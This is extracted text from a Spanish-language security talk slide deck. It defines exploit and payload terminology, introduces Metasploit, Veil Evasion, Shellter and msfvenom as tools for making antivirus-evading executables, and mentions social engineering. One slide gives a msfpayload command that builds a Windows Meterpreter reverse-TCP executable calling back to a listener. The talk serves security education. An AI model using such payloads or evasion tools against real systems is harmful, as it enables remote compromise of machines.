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• About Me
-    Ingeniero de sistemas – Universidad Autónoma 

del Beni
- Actual trabajo en una Empresa Comercial como 

encargado de Sistemas
- Apasionado X la seguridad informática
- Blog personal  - >> darkwice.blogspot.com
- Miembro de Comunidades SLB, Hackmeeting
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CONCEPTOS  

Vulnerabilidad: Se puede presentar y 
decir que es un punto débil de los 
sistema ya sea por configuración o 
errores en la codificación.



EXPLOIT: Un exploit es un 
programa que explota una o 
varias vulnerabilidades en un 
software determinado

PAYLOAD: Es un programa que 
acompaña a un exploit para 
realizar funciones especificas una 
vez el sistema objetivo es 
comprometido



Meterpreter: es un interprete de 
comandos que permite de una 
forma segura y suave interactuar 
con la maquina objetivo

Post-Explotación: Proceso que se 
lleva a acabo después de obtener 
el acceso



HERRAMIENTAS DE DOBLE 
FILOMETASPLOIT
Proyecto open source de seguridad 
informática que proporciona información 
acerca de vulnerabilidades de seguridad y 
ayuda en tests de penetración "Pentesting" y 
el desarrollo de firmas para sistemas de 
detección de intrusos.





HERRAMIENTAS DE DOBLE 
FILO

VEIL EVASION

Framework para generar ejecutables que no 
sean detectados por los antivirus comunes o 
hacer ejecutables in-detectables





HERRAMIENTAS DE DOBLE 
FILO

SHELTER

Funciona tomando un archivo .exe de 
Windows, añadiendo el código shell para él y 
luego hace un gran trabajo de modificar el 
archivo para hacer el bypass del Antivirus.





HERRAMIENTAS DE DOBLE 
FILOVENOM
MSFPAYLOAD: Permite generar código shell , ejecutables , 
y mucho más para su uso en explotaciones

MSFENCODE: Generamos msfpayload y funcionaba bien 
pero contiene varios caracteres nulos cuando se interpreta 
por muchos programas, significa el fin de una cadena y 
esto puede terminara en un error

MSFVENOM: Es la combinación de MSFpayload y 
MSFencode 



msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.110.1 LPORT=4444 
X>/root/hola.exe



INGENIERIA SOCIAL

Maestro de la Ingeniería Social

Conjunto de técnicas 
psicológicas y habilidades 
sociales  para la obtención de 
información de terceros



Administradores e 
Informáticos



 Los Malos



DEMOSTRACIÓN 

CONTROLADA



CONCLUSIONES…..<>
• Que queremos demostrar 
• Siempre estarán los nueva técnicas 
de protección y evasión



GRACIAS POR SU 

ATENCION


	Diapositiva 1
	Diapositiva 2
	Diapositiva 3
	Diapositiva 4
	Diapositiva 6
	Diapositiva 7
	Diapositiva 8
	Diapositiva 9
	Diapositiva 10
	Diapositiva 11
	Diapositiva 12
	Diapositiva 13
	Diapositiva 14
	Diapositiva 15
	Diapositiva 16
	Diapositiva 17
	Diapositiva 18
	Diapositiva 19
	Diapositiva 20
	Diapositiva 21
	Diapositiva 22
	Diapositiva 23

